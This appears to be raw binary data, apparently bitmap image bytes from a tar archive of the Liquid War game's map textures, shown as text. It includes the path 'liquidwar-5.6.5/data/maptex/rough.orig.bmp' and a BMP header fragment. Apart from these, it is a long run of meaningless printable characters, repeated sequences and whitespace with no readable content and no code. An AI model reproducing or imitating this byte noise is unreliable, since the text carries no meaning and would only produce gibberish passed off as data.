>_FhFJCI>I9K3N%.QM|^8OW0AA4@PI[LC`G9\,.B-(>D,3a)6h13m2Ao0Hz;QO[RR]Y__`a_UYQT[>]}=YH6^?XKXKTLLMLPLVJSMNMJQF_HkL~fBfIdIgHiFqtMmwemaso``sd]zb]t[YedjaezbzpdqY|aSwHCaMQ^t6eM|^8OW0AA4@PI[LC`G9\,.B-(>D,3a)6h13m2Ao0Hz;QO[RR]Y__`a_UYQT[>]}=YH6^?XKXKTL>_A_:P0B0B-A3F+@T-E[#=S3L0I4H;UK?I=K 6M/P*S 0J 0K /I/H-G.G2I!5L1@0A/B/E 0I 0N.O-O3N6K 9G;E8D3F ,I(L,Q-O1I3F5F4H 4L 3N/W 0S 1P2M0L0Q/V0Z /V-N9QL^ N_I +Z4WCSOOUN&SO0LQ6FRGH[>JW7QZ4\a4_f2Uc1Ha2@_XNiJKj7Gk&Ck@f"Dd8TlMbu8Uu<\}?_y?]gC`YEh_9np,n~?r|AiuIftGew7\n,Od9SkR_zk_kgehw`dyOb*WKpFfCS9J6I 8L 3H2F 5J7K >D =O=\@j CmA`I ;L6L2I/H1I3J3=3CqtMmwemaso``sd]zb]t[YedjaezbzpdqY|aSwHCaMQ^t6eM|^8OW0AA4@PI[LC`G9\,.B-(>D,3a)6h13m2Ao0Hz;QO[RR]Y__`a_UYQT[>]}=YH6^?XKXKTLLMLPLVJSMNMJQF_HkL~fBfIdIgHiFqtMmwemaso``sd]zb]t[YedjaezbzpdqY|aSwHCaMQ^t6eM|^8OW0AA4@PI[LC`G9\,.B-(>D,3 6I 6H5I5I6I6I5I5I 4E 5F 6F6E6D5A4@3>0H 0I 0I0K1L1N1N2O .H .H .H -G-G,F,F,F+E-L -O 'L (M0S 7U#9T=l3a4bBoGr=f 4] 4[4a 9gG-K3I 8I=H?H>I :J 6L6E6F5F3I6N7R8X;Z?` 7X/P.O4U 8Z 8Y5V 6E 6E 3FVUN\x5[B]K4YEKSKQJRFWDY>Y;\:[?ZFYRTZM_J`N]O_P^K}mTf}l{zoa|pkl`fyhju`~eWo_`fe}\kwdjXrgR{Q0e`5^FvLwT8LC8@LGWs\s{{]Kl'K2'BH#:]&.j0=m1Ep4G@UR^PRUSXTVOVUN\x5[B]K4YEKSKQJRFWDY>Y;\:[?ZFYRTZM_J`N]O_P^K}mTf}l{zoa|p4J3C2D1F0I /L -O -Q-R/K0L /N#/N/O5R>Y E^@O >M 8J3I0H.I .L /M1L4O 6P 5M1I.E /D 0D /D 1H 6M8Q8S5T!/R&-Q5D4?9> AD AF8E2H 2N5I5I4I3H2G1F1F0F -J -I,I+H-I-K0L1M>O ;J8I:G$>I%CI!CFCD -Q0S/P ,I -F2H4I1D1N1N0M0M0M/M/M/M 2E 0E-F+I+M-S.V0Y 6GS8Q5Q 7X9_:b*b,\0R1K-H+O0b6rIL{Ks!Cr9s7i?T HBHBFK GR!LQ!NNMOFW?b ;q ;m9d ;_F_QbN[ EO9LqH|OP O#PG8p2c6[6O 2D3I2I0I.J -L .O/R 0T 3Q3P3P5Q6S 6R 2O /M9G8H8I8I 6J 6L5L5L8O;V8\3Z,T )L -H 1H $U&S)O",L1M8TB_ IhAH>F9F5G0J-L$(NT8LC8@LGWs\s{{]Kl'K2'BH#:]&.j0=m1Ep4G@UR^PRUSXTVOVUN\x5[B]K4YEKSKQJRFWDY>Y;\:[?ZFYRTZM_J`N]O_P^K}mTf}l{zoa|pkl`fyhju`~eWo_`fe}\kwdjXrgR{Q0e`5^FvLwT8LC8@LGWs\s{{]Kl'K2'BH#:]&.j0=m1Ep4G@UR^PRUSXTVOVUN\x5[B]K4YEKSKQ 6W@bB`T&@W8O1I0I4D ;Q;Z 6\5X9S;I8=/N0Q/T -V ,W,W-W/V0K4O!7Q6P3L2J 3K6N2I 3J2K0J/I/H 2I5L9A8A8D6D6F3G3I3I3F5F5F4C0C -G/Q0W8P8N:J;H8I 3L-P*T 0K 0L2L1J/I/H1I3K/F0G2J2K 1J 0K0K0K0K3H5E8D7D 2F-K*O-Q/O2I5F6F 5H 3K 3M-T0Q 3P 3N2M0P0T0Y1Y0R>VRdSe@V 3R4Y >D ;C 9D:F;LYFSMOQN!OQ+KU2GZ>DW2BP)FM&NS&QX(KZ*C\/@_C;W6:Y(:];b=`?^,H`;Pe(Um,\u2]s9XbG\ZVheUoxJoCwxIorMhoEbk5Yc0V`?ZhTctYavggvcisDiyj^Qv)LoHZ>Q=Q&>T$9O6L8M8M =G ;N8X8b:b:X7G5;>H=I 9I3I0G.G0H 3J;A8E 5Mf}l{zoa|pkl`fyhju`~eWo_`fe}\kwdjXrgR{Q0e`5^FvLwT8LC8@LGWs\s{{]Kl'K2'BH#:]&.j0=m1Ep4G@UR^PRUSXTVOVUN\x5[B]K4YEKSKQJRFWDY>Y;\:[?ZFYRTZM_J`N]O_P^K}mTf}l{zoa|pkl`fyhju`~eWo_`fe}\kwdjXrgR{Q0e`5^FvLwT8LC8@LGWs\s{{]Kl'K/M 4L 4L3L3L3L4L3L3L 5G 5F 5F6F5D4B4A3@0I/I0I 0K 0L 0N0O0O ,F ,F ,F ,F +E +E +E +E3O6T2S *O,O6V >Z$AZ;i9gAp&P&RDw :n ;n7^9a 9d 8e 7e1G7EZA_CbCd<]5V0R1R3T3T3T 8D 6E 5F 3G 2Kl5TFSS5NIHMKQEUt@r|;iFeU`VV\YVWTYYP}dNktXoof\UV}iz^mUw^^f\~`f`xmZzuoP{T0diWtsMlNvh8SO9DIETztsv4+Y"&@9%0X"0i0@l1Ji+Mn.O=\LaR^S^R`J_}9Uz:\FSS5NIHMKQEUt@r|;iFeU`VV\YVWTYYP}dNktXcye7L3J1I3E 3F 1H 0I/L-N,P,Q 2E&2F-0F--G&-F1I7O =T@N>L 9J 4H0H 0I /K 0L8I9K :N 7M 2J-G+H,I-D.G 1J 4L 4O2Q/Q-P2D3A8A @F @H 8I 4L3R6M6L4J3I0G/E.D-C/I .I-I-H,I#-J)-K,/L 8M6J5H#6I)9J(=J#>J>G/T1U/O *G +E1G5J3F 3O3P2O1N/L.L.M0N 0E/F-I-L-P-R/V/W ;KAR BV;Q7Q :X<^;`*^+W0P3L4O2Z2i4w ACvCj>h6h6`>NF>IDHLHT"LT#QP!NOFU=Z8j8g7_8\A]J^HWAM4S8U 9S @TJ[HU ;F5> BDCN>X7]6fM;L8M6O2O/Q"-P3/KG>Lztsv4+Y"&@9%0X"0i0@l1Ji+Mn.O=\LaR^S^R`J_}9Uz:\FSS5NIHMKQEUt@r|;iFeU`VV\YVWTYYP}dNktXoof\UV}iz^mUw^^f\~`f`xmZzuoP{T0diWtsMlNvh8SO9DIETztsv4+Y"&@9%0X"0i0@l1Ji+Mn.O=\LaR^S^R`J_}9Uz:\FSS5HB 3G2O 8YAbC`>S7H1D3G6J!;P9O1I-F/H3A8J 8S6S 5P8L:D:;1E1J0P .T -W ,W-X.X5M8P;R8Q3M0J0L2O1I 3J3L2K0I0I 3J 5L 7D 7D 6D 6E 3G 3G 1H 1H 0G3G6F7E4E 2I1O1T"7O 6L6H4F1G/K-P +S 1L 3N4N4M1K0I0H2I.N3R8U8S 3M0G0G2H"-I0G3D3B3C1G-L+Q/R0P 3J 6F 6F6H4K4M0R2Q 6Q7Q7Q6R4U4X 4[5UC[TeTeBX4R4W :?;B>HAMAO AO ;V >Y ?[ R#9J9D?FAL?P#>X,@a43Q+3R 6X<`Cc#Dc)D^/C[Q]"Yk(Xk3S^KYZfjmmsdoL|xTwuQjkA\_3X[6]bE`hO_kC`gUejQdk1ap\xQv)JmJLhK_DY%F[-G^&@W9P9O8M >I;H 5F0E.E.F0H 2JDG@J 9O1Q .R\~w\UV}iz^mUw^^f\~`f`xmZzuoP{T0diWtsMlNvh8SO9DIETztsv4+Y"&@9%0X"0i0@l1Ji+Mn.O=\LaR^S^R`J_}9Uz:\FSS5NIHMKQEUt@r|;iFeU`VV\YVWTYYP}dNktXoof\UV}iz^mUw^^f\~`f`xmZzuoP{T0diWtsMlNvh8SO9DIETztgz/L/M/M 1O 1P0O1P1P1P0P0P 4H 4G 4G 4F4D3C4A3A.I.I.I.K-L.M-N-N ,F ,F ,F ,F ,F ,F ,F ,F:U;W6W.P.P8TBZFZ6a;i L|,Y%VF=~?A_=\8Z 8];b 3C6@9A0J0J 1I 3J 4K3K0I-H1G4I9J:J8J8M9S;X8U 7R 6N6M7J;K >M BN /V 1S 3O7M7L6M 4P 2R9H8I8K8O;U>[@`Cb@a;\6W0R.O.P0Q1R8D7E6F 4G 3J2M2O3RDKJT?U-X'b(]0]5b5i:r>|;nDcUcW_XdK_L]uVWwdXwm[nzchj`kmxd~pYePr\bhVae\jxe|n|IqgVuT3M`vDnKrN|;nDcUcW_XdK_L] 9M 9M 7K4J0I&.H4I3J2J 1L.N-O,P+Q(2?.3@51B4.B,,B.D4I :NAL?K;J 6G 3G 1I 0J 0K9D ;GG ?J ;N6R3V2J1J1I/G-F-E -E ,D0H /H.I.I"-J,-J3-K8-L4L3J 1I'1J*3K(6K"6K7K4X5X2R,J-G4J8M7J6R7R6R3P /L.K0M2P/I/J0M0O0Q/R.Q.R=NBUBW;Q7N 9T;YSC]@h9s5| ;~ >p Ab<\7^7[?MF>GDEMDU IX#MR"JOAP7S5d4`4\7Y=ZBYBU>N2Z5[ 6U@W#Uc&\aNM A=>E >L 9R5X5`&m,=j3y 9<85y6q3c /Y5G3H2G0I0L 1M1Q1R26K'5H5F7F 9G ;I :H8G;H:I8I 6J4K1L/M.M /L0P0Q/P ,M +K -L /L4P6O"9M":J9J9M:R R;P9P8Q7Q4Q2Q,0E!/B0@5Ae{n;-h E8!/Y$3g/Db$Ig$Zf*Uj*Xt1[;\z9_y5^u1\w4\FYD?\8DKJT?U-X'b(]0]5b5i:r>|;nDcUcW_XdK_L]uVWwdXwm[nzchj`kmxd~pYePr\bhVae\jxe|n|IqgVuT3M`vDnKrN\;P7G0D3H6K5K0G +D+E -G3@4F6L3M4J6F8B:="6C4G3M 1Q.U,V ,W ,U 9K;N;R8P1L,J,L-N 0I3L6O6O4L1J 0H 0H 5F 5F 4F3G2F1G0G0F -G0G5F8E9F7J 4M 3Q&6M"4K1H.G,G+K+P,S 2M3O7P7P3M1J0H0H.U5[=`<[5N0F1D3E%/L"0H1D1A0B.F,L+Q1S3P5J6G7F6G4J3M 3P 6Q9T;V;V;U:V9W(8[8UBXP_N^?T3Q2U;<9< :=<@@ECJ EK!DM>L?PAS @Y @^ Af Ah Ak IS HRGP EQDSCYD_ Ec;O6F7D=G>K;P;X$@b19Y(7W8X@_$Ig*Jf,E`*?Z#IP*Tc-Uj4RaJ\cgpvlx`rT}[yVjsAYc7Yd@dqEbqFTh;Yc@^d9Yb7MeIClVH |;nDcUcW_XdK_L]uVWwdXwm[nzchj`kmxd~pYePr\bhVae\jxe|n|IqgVuT3M`vDnKrNh!M}&VM?<B OgG_=X9W<^3@ 2> 3?.I0J3K 3J 2J 0H.G-H 1F6J;L;L8K6O8X;^ 6S 4R4N4K5J9J=K >M2Y3U3P 4K 4I 4K 2N 0R8H7H 5J 4L 5P 7U 8X 9[ 8Z6W2S/P.P0Q1R1R:E9E6D5E2G2J2M2O 3Q 3Q'W U*G/H5I9P9Z6c3w;=mFbUpPiH]H[{L^wS]u\Z{eXnUnT|cVt]UyVekNrh\^edlizc|Cpkl{kg9-XJ{RzfKhZHdvTucjW#?C1b+4`#Fi"Je'Ti'Wf'\g,ak-_j._u0_s:[DWB@X9Q@JLCP'W U*G/H5I9P9Z6c3w;=mFbUpPi 9M 9M8K6J 4I1H#/H*-H3M3M2N 1O/O.P-P-P$1>+1?31B4.@,.@"1C8G>KAJ?KN;R7X3Y+F+F+F,G-G-G .H .H1H 0H1I0J&0J/0J6/J:.J3M3M&1N*/M).M$.N1P3Q3X4X1R-K-H6L9O9L 5P 7R 7R4Q 2N1N7S;X1O0O1P3Q2P1O0N/M;MAS@U 9O 4L7O]?^%CT*JIFLBT?[C]"IX#HS>Q3Q 3` 1\ 3Z 7Y;X=U>T>R6`5\3SAX4`l=or*a\OF;F ;J 6M3Q5Y%g)9c-o3w 5| 1y /q2k2b 0[6F5F3H2G1J2M2O4R94J,3H4F7F :H;I9I7H9H8J6J 4K2K0M.M-M ,M -N/N /L .K -L -M.P6L9L M=Q9P1M+L)M+P0H4M9R;S8Q3K -F ,D3J1I2G0G0G/E.E.E,I.H4E8E;G;J8M6N&7J#3J0J+J*L*M,P-Q 2M3O7P6P3N1J1H0H 0X8^>b<] 5Q/G/D 3F&6Q$5L#3F 0B/B.E,K+P3T4P6K6G7F5G3J2L2K4M7Q9U9U9S9Q:Q*9X!9R>PDS CR8N2P1T:B 9A 8@;B?GCIDJ DJ?F>J@QBX?]9^4_2_FMFP DSCXC[C^C^D_>R;L?M!GS"FV>U;Z@d.?a&;\:X>Y D^&F`(A]%8XBFMBRbho;cLJUaM&Hc'Fb3Mj8Qn+Fc;W8R7P9V7V 4U /R /N5M?QGT:M6G0C 0D 2G4K1I.HLS FS y6z; D]qRi D] O=M 7M 3Q6Y9a 4S 3R2N3J3J7J;K=M5Y5T4M 4F 3D 2F 2J1N5G4H 1H 0I.K.O0R0S3T0Q.P0Q4U5V4U2S@E?R7d4v;@qEgKbI^}IfvEesJcqO^qQ`qR]qQbpNkpItqIypTi^hgpsfz_RyhQlyz*5\KuNxSUX{hM3g M #:M.b&;bHmC_BO6B3E7O:U%E_4MpGQ@?J4a7O>HQ(Z#N1J7C4H6A:>@E?R7d4v;@q;EFEIBJAI>I;G7G4H1I0H2C4E6H4G.D,B*B +D-D.F .G0H0K/N.Q.P,J3M9N ^9e=f#Eb%E]!;X2W1^0\2Z9[;Z UBX<_;\7S@V7]jBnt-dbSMAQ@S;Q7P;WAa@a;\1e5j 5n 0j -c /^2V3R7F6F5F4H3J3L3O4Q40L(1K3J 6J 8M9N6M$3K 7I 6I 4I2J1K/M-N-N ,Q -O /L 0J0K0M.P-R1F4F8G9H7J6P4X3]$6U6Q4O4M5L3K3J3I"1I0H0F4G9J;K;I9GM.b&;bHmC_BO6B3E7O:U%E_4MpGQ@?J4a7O>HQ(Z#N1J7C4H6A:>@E?R7d4v;@qEgKbI^}IfvEesJcqO^qQ`qR]qQbpNkpItqIypTi^hgpsfz_RyhQlyz*5\KuNxSUX{hM3g M #:M.b&;bHmC_BO6B3E7O:U%E 1I1H1G/G .G.H0@ .D.K/P1Q1N3G 3B -C1G2I.F-F1K 4O3N1N /M .N 0O0L/H3H)9M4=Q.=S#M?Q9Q1N+N*P+T/H3M:RF?H=L9N 7G4I0L,P,Q+Q-Q.O 1L 3N4N4N1K1J1H2J6X :\=^:Z 4S.L-I .K!;U"9P!5H 1B/B.F.M/S2T4Q6K 6G 6E 4G 0I 0K.B/F0K1N2N3L 5J7H"9R8M9IK?J>J>I[ 3W-T+VDQ CVB\Aa%Bc"C_EZGVDYBTGV*O^)K^?X;\?f,Di'CdB]@WAX"B['?^(:]XHPQReBZv7_w7jre?j;`3NtXVw[To?Mb Ja(JgHQ(Z#N1J7C4H6A:>@E?R7d4v;@qEgKbI^}IfvEesJcqO^qQ`qR]qQbpNkpItqIypTi^hgpsfz_RyhQlyz2J0G3F2G 2H 0I0J/L.M.N 0N 0N /N0O0O0O/O/O 4N 2K 0J .G .F0E1F2G2K1K0J.K-K+L*L*L(D)D)E +F ,F.G/H/G0B7K:R7Q7P:O:K 8E8SQ6N1Q 3Z6c 4U 3S3Q3M5K9K 3@ 3F 3J3H2H/H-I ,K ,M ,Q ,S1S.P-N3T :\=^ 9Z2S=Cty=wz>vvAvvCysB}tDtIuSq^lfomsucvba}n@aex.TVAmPY|UlEy)TG D("6U0` >eHe8F 2.5+;.>39A1W(?vCI?8W5\/PCBM$L+J/O"P#P+R3L9DAF@S4C4C8C;E=F:O9N7K5H3G1H1I%1J-S.S.S/Q0Q 1P 2N 2N.T0S/Q /J1D8ABBIEBIAH?HN7_6T ;KGMPW(La,Af,7i5eUE^ D]L9He8F 2.5+;.>39A1W(?vCI?8W5\/PCBM$L+J/O"P#P+R3L9DAF@S4g1;~ElG^HezCpx>ty=wz>vvAvvCysB}tDtIuSq^lfomsucvba}n@aex.TVAmPY|UlEy)TG D("6U0` >eHe8F 2.5+; 8@1K2K 2K 1I 1H.H.H,H0@ /E.L.O.O0L1F 4C .F 1H 2J0H 4N\?Z>V>Q?K@G ;FDBI@L>N7E5I3Q1V.Y.V /R 0N 1K 1L2L1K/I/H1I4K;VV;P7H3C0C2H4Q 5W 3U 4R5L5G4F2G0I.K!,@!-C-H-I.I/H3F6F7K7H9G;G9H4K/P-S:Y7V6R6Q8Q9O9L8Ke*;g-KBHcvba}n@aex.TVAmPY|UlEy)TG D("6U0` >eHe8F 2.5+;.>39A1W(?vCI?8W5\/PCBM$L+J/O"P#P+R3L9DAF@S4g1;~ElG^HezCpx>ty=wz>vvAvvCysB}tDtIuSq^lfomsucvba} -H-H1K0K0H4F2H2H 1I0K/L.N.N 2J 2J 1J1J1J2K1K1K 4P 1N /K -G .F.F1G2H4K3K 2K 0K .K+K*K*K+G,H-H.I 0J 1K3K4L0@ 7H9N6M4L8M:H8C6K6N4P 0O,Q/Y7e>lJiHgCeO @Q;U:N8F 6> 5< 4= 4B4F2I1H.H-J+L,P-R-T3T/Q.O5V@aBd ;]2T>Dv:47::=DR|[n]mbnqlqfvjaxb C C GCE H KC)6+.\8c!?cCU 115FNH B5C@4b1BBAZ9W2KE>H"G(T"R#T!S!Qz*O8>0E1H3J4L3O1Q%.R+,Q,N6S;S ;O F@ BP:]7] 7V ;a 1f )k,l5j"9d!4^+]02^*1\%5\ H"G(T"R#T!S!Qz*O:M9BGN8X1zv:47::=DR|[n]mbnqlqfvjaxb C C GCE H KC)6+.\8c!?cCU 1 7M ;L U;O8I4D3E6L 9T ;\3V4R5L5H4F1G.I,K+0B(/E%-H,I-I/I4F8F 4F7F;G>Hgd%5Y.P /P1Q .\7_=`H"G(T"R#T!S!Qz*O:M9BGN8X1zv:47::=DR|[n]mbnqlqfv!UrGc 5Q ,G+F.H!.G"-G4F3H3H 1I1K/L.N.N 3F 3F 3G3G3G3G3H3H 3P 1N /K -I ,F-G1I1J6K4L3K1K.K-K +L *K1M1M2N4O6P9Q 9R :R1=4D 5I 0H0F5I9H9E7H6K4J1J1N7V;]>a;_>c?e:b4^1L/O.Q*S*R,P,N.K.G/F0EAV?W 5@0I*T"%Z1R1Y*]%_,d6f6Z-I1J0I/I/I/I0I1J2I7L:T>`#@j,@k3=h39_37Y:.Y04Z9Y @n@kBz>1.7:?=;@QvYr\gikqsql{h`ccIoz> ? B B E @:&8$4/+Y6f!HaDO 2% <(T3T8Q(BE=>I4z;IS9Z4N@@D%G&S,HB> 3K2I2G0L 0L .K.L.L.M.N/O9N:OL"=O;O :P:PM`DY:P 5N 7O 8Q7O4M".E .G.H.J/M 1Q 2T 4W6W:Z=Z:S2H-A/@ 3C-H"0K03N93N93K36K.X 7O4M 6ObC_I]MZOSNK JD<\ Nd3KV I4z;IS9Z4N@@D%G&S,HB>@;3EVu1M7L?HBT0s>@n@kBz>1.7:?=;@QvYr\gikqsql{h`ccIoz> ? B B E @:&8$4/+Y6 5G7G9H;I:I:I9I10J./I(/I/H/G/G/G/F1K.G .D2D7H8I 4F.A.G 1I 5J :M>N@OAO$AP 7T!5T 3O.I+F.G(4N/G<=H*MH(MN%JS GZE]A^[2Z1\7c9e6_3Z4V1Q,K6O8M>MBN;K1I/Q3]70@71B72G43L32Q-1S*.T(-U&1N1K 3L7R?\!IeRnXrBv ?i:Z'6I+4A$2@4F5I*] )T2N AR CQIoz> ? B B E @:&8$4/+Y6f!HaDO 2% <(T3T8Q(BE=>I4z;IS9Z4N@@D%G&S,HB>@;3EVu1M7L?HBT0s>@n@kBz>1.7:?=;@QvYr\ADFC^ 7V-Q,T -T.M0H4G/D4H6J1H.K-S+Y&Z1I1I.K.M,O.R -T .U,W,S.M .I-K,Q)Z'^6Z5W4U1R0O1L1K 1L 1U 4R 7L 9H :I 8L 6T 4W5D1C1G4M1K,H/O 9W8P7O4L2J2J4L7O9Q7H>ODUAT 8O1L/P.P,O-O,N-L.K.I.I.H;M:O8R6S5R5O5J5G ;O ;O :N 7K 2G 0E 0F 1G":G 4B1J*T &[1R3[1e1m9xA{;l-Y/I/I.H/G/H1H2I3J>P ?V@_ Bf*Bh0@c3>\4T9PCh/19L\cbWF@GzTrYtd{lkude`Y!9ZKB @ =#4*1&3"9"7/+U1]G[FQ 18:7G5D@O4HE/CB/g2DM<[6T@GD1T1S2S 3O 3N2K2I 2M 1L 0L.K.K.L.L.M6L8N9O8N5K3I3I4I:^5W 1R 1P 5R8S 5N1J)O*M+L/M#5O+;Q2@T5BTHJDL>N9O7M 7I7D8B1G1H1H1H1H2H1H1G1B4E7G7H4E3E"4G'5J#:F&:H(;L%:O8R7R 6T7U Lf C^9T 5P 7O :P;N9L4J4I1J1K1L 0O 0Q 0Q>]A_ B^#?Y#9O&4I*3F-4F*I#.L01P73Q64P-7P&P 6Q/P*Q7E9HNDQGRFOEM -U,Z*^)b*_.V 2L 5G 1S/O/M1L 6N;O=P=N -I .K -N .Q .T .X .[ .\-I'C'?.C3G/H ,N,U)W+U -T/Q/N0J1J 2J1D4K 1L/N@_M<[6T@GD&B&M.D@4T6H@%Tv'K=U7F@T0p?}>jBo@/19L\cbWF@GzTrYtd{lkude`Y!9ZKB @ =#4*1&37B 2E(/G4H 5I7I8H9J :I9I9J(0J&1J"1J0H0G/F/E /E0I.F .D2G8K:L8I2D.I0J 4L 7M9P4A2I.O*T1C/C.B-C-E/H1K2M4C4D8H>OY6V/R0L5F=AB?_(8P+4H$1G1K2O'['Q .J :M jBo@/19L\cbWY4R,P,S ,S ,K -E1D.I2J1J.G,J.S.Z -] 5H 4H1I1I/L/O /P .R,V,S.L .H.J,Q*X)^ 5X 4X 3U 1R 1O 0M 0L 0J 2T 4P 7K 8H 8H 7K 4P 2T4E 0D0G2L.J*I.L6T7O5M3K1I2J4L6N7O8J>QCWAU9P1L1N/O0I0I/J.K-L-M,N,N4D4G4J5M5N7L8J9I 8N 9O 8N 5L 3J 1H3J4L'DT"BUN1@M*@L?L>O?S>V9U3R5t 2k&3`C?V+RL_lf?VP.IDGY\\|MAHUyXz_gmfzlbV GOBCC4#5703+-K3Y?[MU6G6@6A>GL;FD#KE!1L%93J 2K4M1Z2Z2Y4W3T 3Q2N1M3M1L1K.J/I.J.I.J3I5K7M7M5J3I3I4J9N6K2I2J4M4P1O.M+P-Q1R4P7N"V&:U!7V4W4Y5[ 4^Gk Ac 9X 5Q 7M ;L =I ?I W3N-I+K,M)M'I.O /L 1I5H9L9Q6R 2S:^;[MY8M:Q0l=~>kAu5-:Xxirr?VP.IDGY\\|MAHUyXz_gmfzlbV GOB>1L8J:G9D5C2F"0H4J 4I 6J 7J 8J8I8J7J2L2L2K1J0H/F/F/E2G/F.F4K9O=Q:J 7E/K/K0M 1N 3S5W7[8]/O -L ,K-J0M3O4N2M4U4T9TB[LbL`CX9O3T5T5S3P2J0H2H4I.F.F-G.I.I.H.G.G)P -M 1J4G4E2G1K2P4H4I1G0G/H0J1L1M5D3C4E 7J 5J1I2K 7O=_9]4Z/V .P2K7G:D9E 9H 9H 7J 6M 3L 1M 1M+0G%1F3D5C5D4G2J1L/M .M-L,K,I.H0H1H 6N 4M 4J 2H 3D 3D 3C 4D3S4T8U:S;R:M 8I 6F 5I5J 5L)6N(6N7M7L8J>J:H5F1D1G 5L :Q >UG[EaAf 8e"1\%0Q(6J+;E?IBRG^JgDf=_;_?b LhBXAMDICHFP(L]*McFn?e8^%7Y(Q9O.L)Q+Y0J1L0P1S0V.W ,Y,X$2M3M7P=V E`(Nk%VsZuEo@h9^#3S&.O"-P.T/W4._(,U0M8M9J0H,M .U 1S 3O 3I 2F 1E,3+-K3Y?[MU6G6@6A>GL;FD#KE!1V'>HC^9W;SF4=)D/C6/T.T41OsI>Y8M:Q0l=~>kAu5-:Xwkq5G9HT 8O2L2M2N2E2E2G0J-L,N,P+Q 3@3C4F4J5K8J:J:H6N 7O 5N 4M 1K 2L5O8R&K] EZ=S 5L1H 2H 5I 7H%.M1K4I 6H4J 1P-U)X A^DiGwH#N(N D44R3P2N1K1J1H2H"3H DO BPS!H=H:H 9I(:M.WCUCS CR=S7`/k(1i2;X@G ;G8Q1J/J.I,J+J+M+M,N/L/J.H1I4I5H4E3C 0U .W +\ *^ +[ .S 4K 8E 4O 2M 2M 6OX G^ Pc Ob FZ>P2U3U3S2O2K 4I8J;M0H.G.H3M2L.H-E/F&O ,P2S5O3J2G3H6K9P8N6N4M4N4P5R6T8F6F4G2G0G .H1M4P7`5^2[0X /S0P1M3K7C 7E 7H 7J6M5N4P2P"-F .F1E2E3E1G.I,J-F-G-H!-H%-I"-I/H/H7O7M 4K 1I 1G1G1F1G1P4R6S7R9P8M 5I 4H2G2H2I3K4M5M6N 7N@M[GiKqJoHlIk"SjEY=N=J;HAO(J[0ObDh>`9[ 9X$=X%CZ"L^#ScK\K^ Rg.Zo5]n5Xb5TX8VU*F_)D[(BW(AS(@P(=N(;N(:NZ!C`HcJf7[4W.S*Q(S)U,[-^C2_6.V'0M4J3H /H 0P5\ 5Q 5N 5H 4D 4C 2F0J.M#.J".H .FX>VDT@VLNM<?&FMN&3P"<DH[6Y6XDJ?,<'=69S4[29NkGy;W:T8R2k8z4d6`=Q9M 4H1C 2B5E;I?MEDAE:H 4H 0J0M2O5O8S4S 3W6^5[0P.F0C-Q-P .P 2S 3S0S-P*O>Ec<_8Z*nCEmBi@fLtT{]bÅfʼnjƌoȏtʓz̘Ϟԩܷ  zu  x  AT    x     l5^    f2     zu     x     zu     x    l5^  m    zu           x       zu         x        zu         x            xr               -               D"                 4                 Q3                        x            zu         x         zu              x               zu            4             zu              x           zu             x                 zu                  RQ                       AT                  x                 9A                 x                   ?                     x                   zu               x                   P                    x                     zu                     r0                     zu                   x                   ?                   x                     zu                  4                   AT                  4                  8                x               I3)            x        zu         x           zu           x          zu         7            zu         x           zu         7            zu        f2          zu      x      zu  f2    ;   x    xr    x   zu     x  zu x      zu    x   zu  x  AT   f2    zu    x    zu        zu        x  zu    x     zu    x      zu     x     l5^    (       zu    x  zu   x      zu   x  zu           zu    x     zu    +     zu     x   zu    x      Q3   Q! 8     x    zu  x     zu    x     zu     x   *   x  zu x   zu   x   zu    C*     zu   $    zu      C*   xr     x      zu     (  wo  #   zu    #    zu   Z     a               )            #                B3               )<                          Y           )<                 1         g                  Y         r$                             #         #                3           O(               B3                                     "!              4          F        (                  4           ;,           O(                *                       #                   "!        Y           (              #                           r$                 e             (             e         1              )                    O(                     Z                                     4           )      1               "             (                     %         J          xC                         &           )              xC                  x              F         &            "             v&           F           |%                       O(           Z                R-            "              D!                             #                                 )<               B3                 )<                                     O(                  "                   *                 J                x                              O(               Z              %             ]                %           g                    *                        1                     ;,                    r$                       3Z&                  )<                                 %             )                  e"           %e                  xC                                 L             B3              1               ]                     R-             (              4                         %                                    #               L;               (                  B3                   O(                                         )<               )             %                             4                "                )<              ;,             xC              F           #              "                 #              "                )<               e           4                          4                  F             %                             )<                                     ;,                                  (                          %                      xC                        D!            "               1                     R-                   )<           ;,             *                         R-                          (                                       xC           ]          (        "          r$             g                   ;,           )<                    R-           "            v&            F            "!             )                                           )<         ;,                    #                   *            ]        *          B3              (                 F                O(                        xC            F                   "                 |%                       4                                                  *liquidwar-5.6.5/data/maptex/rough.orig.bmp0000664000372000037200000045237413407756104020152 0ustar travistravisBMT(h!!qwSixojg`YXWǕrsrzr~y[iyuwx{zeZhzn|am||lptn`{iqnUrz~qwf|qv}uvWaq{m~si}ltmexzgt\ppzqvzgrvp~lvyr^^onsooVvsxgzk~n^wzkoz_luyYrtor{l~txrr{xlvvnS`{agrnss}MP}esb||y{Ruzwyw\u~utssrrbvmh~vn_ux{Z_eyvf|xf{lzekyy`~qp}zpu`{qyy{ky~nkuk[grY}}w~vv~~ˉju|vs{mz}l|h|u_~oqug}}rv|d{tth|ȈXjvtz~wxf{trtl|mwg~ĞtgxɨqXzbrnx}z}~tfxufwqmynj}YzfrevwwWrx|rzuvru}u{jnprbww~^sgK~xxx{t|}Z|xvl}__aU|sVWzrurcuR}wlytdqg{|r~ttqc||{mi~vt`mW}zqw{~h{wtmor[p~zvsiq|be{Qy|}R^nl}k{{}[qvjhucyplmzq|j_[sbr}}owhef~~qyh~yh}lr}jsdvu~kbjmy{{j||xy{Vs|tty`}wmxp~v}xjw{~zrc`lwllnyhh~`duleijmx{tw\s}}vo}zqnu~xpq{~kO`}{Rvxxuxernvvtjk{t~xyujqxnxx^|km|rdzvn_lou\~hwzwxc{gtSblsnyrazgimzqvi}{h}xib{heyfojeťw|}\{yw~kz~Vy~py}}thzxzYvqHwt{srz{koms|oynjz|{jbmonP}}rrx|y\{lzPn~kyuviibazgwrkooTiėk_ogrtfuqyx}{ubt{lzxpqykXy~rx{{p~a`ƨCdxm|A}qhkssazszUvopulj]jkz|`{g^yxu^~f]}hizfh~|]|ytf||~v~um}Wq{jQrTc~w{g|`}bq}^~q~a`g~Ymukmksz}zllWSpdQS~i]zylzR_yhyjjwtutYztw{o`pjZèl`W~vi_mGst|]w~shP_tqbmn{wl}wl~inTcxhwsz_zqzfwj~qs~nzao{fu|bwfxluSmixg~}kanˉsF`qi|}wxhwvz~j~|mvwtjszxYxytptzvnn^yt~qm}wov|qwjlv}}{|fzrdo}r}aUnzwpVvmgj^uo|~lqfv|hVyUryo}_VS|jqz|quxpomzrymozthfi}q{etRonojTq}sdЕwplkdiqwidlv}s}xtrcc{emi{{cgjku_zleiuwnt{}zzs{t`y~tutxbxilq_d|mtNfyoskr